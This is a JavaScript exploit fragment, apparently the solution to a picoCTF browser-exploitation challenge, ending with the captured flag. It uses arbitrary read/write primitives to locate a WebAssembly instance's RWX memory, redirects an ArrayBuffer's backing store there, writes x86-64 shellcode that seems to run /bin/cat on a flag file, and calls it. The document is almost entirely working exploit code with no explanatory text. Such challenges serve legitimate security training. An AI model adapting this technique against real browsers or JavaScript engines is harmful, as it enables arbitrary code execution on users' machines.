    var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
    var wasm_mod = new WebAssembly.Module(wasm_code);
    var wasm_instance = new WebAssembly.Instance(wasm_mod);
    var f = wasm_instance.exports.main;
    
    let rwx_pointer_loc = addrof(wasm_instance) + 0x67n;
    let rwx_base = arb_read(rwx_pointer_loc);
    console.log("[+] RWX Region located at 0x" + rwx_base.toString(16));
    
    //
    function copy_shellcode(addr, shellcode) {
        // create a buffer of 0x100 bytes
        let buf = new ArrayBuffer(0x100);
        let dataview = new DataView(buf);
        
        // overwrite the backing store so the 0x100 bytes can be written to where we want
        let buf_addr = addrof(buf);
        let backing_store_addr = buf_addr + 0x14n;
        arb_write(backing_store_addr, addr);
    
        // write the shellcode 4 bytes at a time
        for (let i = 0; i < shellcode.length; i++) {
    	dataview.setUint32(4*i, shellcode[i], true);
        }
    }
    
    payload = [0x0cfe016a, 0x2fb84824, 0x2f6e6962, 0x50746163, 0x68e78948, 0x7478742e, 0x0101b848, 0x01010101, 0x48500101, 0x756062b8, 0x606d6701, 0x04314866, 0x56f63124, 0x485e0c6a, 0x6a56e601, 0x01485e10, 0x894856e6, 0x6ad231e6, 0x050f583b]
    copy_shellcode(rwx_base, payload);
    f();
    
    // picoCTF{sh0u1d_hAv3_d0wnl0ad3d_m0r3_rAm_3a9ef72562166255}